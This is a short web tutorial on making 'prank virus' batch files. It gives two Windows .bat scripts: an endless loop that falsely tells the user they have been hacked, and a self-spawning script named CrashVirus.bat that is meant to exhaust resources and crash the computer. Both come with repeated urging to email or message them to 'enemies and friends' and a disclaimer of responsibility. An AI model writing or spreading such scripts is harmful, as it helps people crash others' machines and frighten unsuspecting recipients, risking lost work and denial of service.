

## How to create prank Virus Program

Virus programs are dangerous computer programs that can destroy your system. Today I tell you to create a prank virus program. You can also develop virus program and send to your enemies via messenger or email or anything else.

### 1- How to create virus Step by step Process

1st Open notepad in your system

Type program in your notepad as it is.

```
@echo off :hack echo you have being hacked and need to format your system goto hack
```

Now save this program as name.bat like virus.bat

Your simple virus program is completed

Note: This is a virus program so make sure you don't open it. Send this program to your enemies and friends via messenger, E-mail or anything else.

Never try it out my self LOL

If you open this program only you responsible for this. I am not responsible for any damage.

### 2- Virus program to crash Computers

Open notepad like in 1st program.

Type program as it is.

```
start virus.bat virus.bat
```

And now save this program as name.bat like CrashVirus.bat

Note: This is a virus program so make sure you don't open it. Send this program to your enemies and friends via messenger, E-mail or anything else.

Never try it out my self LOL

If you open this program only you responsible for this. I am not responsible for any damage.
